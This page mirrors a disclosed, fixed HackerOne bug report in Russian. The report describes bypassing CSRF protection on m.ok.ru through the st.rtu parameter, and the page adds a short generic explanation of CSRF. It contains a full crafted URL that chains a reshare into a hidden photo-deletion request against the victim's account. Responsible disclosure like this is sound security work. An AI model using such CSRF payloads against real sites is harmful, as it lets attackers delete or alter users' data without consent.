Skip to content
CSRF Disclosed report Intermediate

Обход защиты от csrf-ок в m.ok.ru

bohdansec Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 11 days
  • Paid in 11 days
  • Disclosed after 4 months
Здравствуйте!

Нашел еще способ об�
ода защиты от csrf-ок через параметр ``st.rtu``
Тогда можно было обойти через ``dlgId`` и через ссылки на страница�

Сейчас заметил что можно сделать ajax запрос с токеном ``X-XTKN`` через параметр ``st.rtu``
Его можно отправить через редактирование заметки, записи в группе, при репосте и т.д Нам достаточно дать ссылку на репост и если пользователь нажмет на кнопку отменить то у него удалится фотка

Вот пример:

``http://m.ok.ru/dk?st.cmd=friendReshareTopic&st.topicId=64607766975788&st.rtu=%2Fdk%3Fbk%3DActionBus%26st.cmd%3DactionBus%26st.rtu%3D%252Fdk%253Fst.cmd%253DuserPhoto%2526st.phoId%253D812501293868%2526st.layer%253Dsoon%2526_prevCmd%253DuserPhoto%2526tkn%253D2696%26_prevCmd%3DuserPhoto%26tkn%3D6230%26st.actions%3D%7B%22photos.delete%22%253A%7B%22photoId%22%253A%22812501293868%22%252C%22groupId%22%253Anull%7D%7D%26_i_loc_rdr%3D1&st.friendId=584798454828&_prevCmd=friendMediaStatusComments&tkn=7824``

в ``photoId`` пишем ид фотки которую нужно удалить

The original report as published on HackerOne, by bohdansec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A CSRF bug in ok.ru. HackerOne made it public on 18 March 2016.

About CSRF

Another site makes a signed-in user's browser perform an action they did not intend.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by bohdansec

View all

4 more disclosed reports, best first.

More from ok.ru

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.